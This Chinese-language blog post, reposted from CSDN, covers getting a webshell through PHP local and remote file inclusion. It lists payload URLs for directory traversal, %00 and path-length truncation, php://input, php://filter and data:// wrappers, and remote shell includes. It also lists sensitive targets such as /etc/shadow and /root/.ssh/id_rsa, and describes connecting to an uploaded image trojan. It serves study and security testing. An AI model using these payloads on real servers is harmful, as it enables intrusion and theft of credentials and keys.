php文件包含getshell - Go语言中文社区

php文件包含getshell


今天面试被问到这个了,已经是很久以前用到了,脑子一时短路,一点也想不起来,今天想捋一遍

 

参考

文件包含是应用程序(在这里就是指php函数引入文件时)未对要引用的文件做合理的校验,从而恶意的使应用程序操作了意料之外的文件,将会导致文件泄露,更有甚者会导致恶意代码的注入。

 

先介绍一下本地文件包含LFI(Local File Include)

举个最简单的例子,新建一个php文件,命名为index.php,写下如下代码。

在他的上级目录中有一个info.php文件,内容如下:

打开网页,运行:http://127.0.0.1/index.php?func=info.php

出现如下页面

假如我是攻击者,我已经上传了一张图片马,一直找不到合适的环境来运行图片马,此时就可以利用此漏洞。

在此我上传了一个名为1.gif的图片马,访问此链接:http://127.0.0.1/index.php?func=1.gif

或者直接菜刀连接,我的图片马密码为cmd

连接成功,这里我就不放图了。这是根据文件包含来getshell的一种方法。

php包含外部文件的函数除了include()之外,还有include_once()、require()、require_once()

加once的区别就不说了,include()函数在一个文件存在错误时,程序不会中断执行,只会弹出一个警告,如下图

require():一般放在文件的最前面,程序在执行前就会先导入要引用的文件。但当文件存在错误时,执行就会中断。并返回一个致命错误。

这里报错有可能会爆出绝对路径,有用的话可以记录一下。

如果自己不能上传木马,那也可以利用此漏洞查看敏感信息

获取web目录或者其他的配置文件

xxx.php?func=../../../httpd.conf

获取上传的附件

xxx.php?func=../../../xx.file

读取session文件

xxx.php?func=../../../tmp/sess_tnrdo

若是文件包含有限制,比如只能包含htm类的文件

正常情况下的使用是在浏览器中输入:http://127.0.0.1/index.php?func=info   (我有一个名为info.htm的文件)

但如果我们还是想包含php文件,就要使用截断来包含

使用%00截断(需要magic_quotes_gpc=off且PHP<5.3.4)

xxx.php?func=../../info.php%00

路径长度截断(PHP<5.2.8 Linux文件名长于4096,windows 大于256)

xxx.php?func=../../../etc/pwd./[...]././

点号截断

xxx.php?func=../../boot.ini/...[...]...

敏感文件:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/known_hosts

/etc/shadow

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]*(文件标识符)

/proc/mounts

/proc/config.gz

 

 

 

 

 

接下来说远程文件包含RFI(Remote File Inclusion),远程文件包含有三大条件:

1、All_url_fopen=On(默认开启)

2、Allow_url_include=On(默认关闭)

3、被包含的文件遍历时没有目录限制

 

远程服务器存放一个不被服务器解析的文件

访问:http://www.xx.com/index.php?func=http://www.xx.com/1.txt

 

利用php流input

xxx.php?func=php://input

 

利用php流filter

xxx.php?func=php://filter/convert/resource=index.php

 

利用data URLs

xxx.php?func=data://text/plain;base64,URL(可以远程包含一句话木马链接)

 

利用xss执行任意代码

xxx.php?func=http://127.0.0.1/path/xss.php?xss=phpcode

 

有限制的远程文件包含

基础代码与本地文件包含相同

 

xxx.php?func=http://www.baidu.com/shell

xxx.php?func=http://www.baidu.com/shell.txt?

xxx.php?func=http://www.baidu.com/shell.txt%23

xxx.php?func=evilshareshell.php

版权声明:本文来源CSDN,感谢博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/Jiajiajiang_/article/details/81001467
站方申明:本站部分内容来自社区用户分享,若涉及侵权,请联系站方删除。
  • 发表于 2020-06-28 01:37:17
  • 阅读 ( 1293 )
  • 分类:

0 条评论

请先 登录 后评论

官方社群

GO教程

猜你喜欢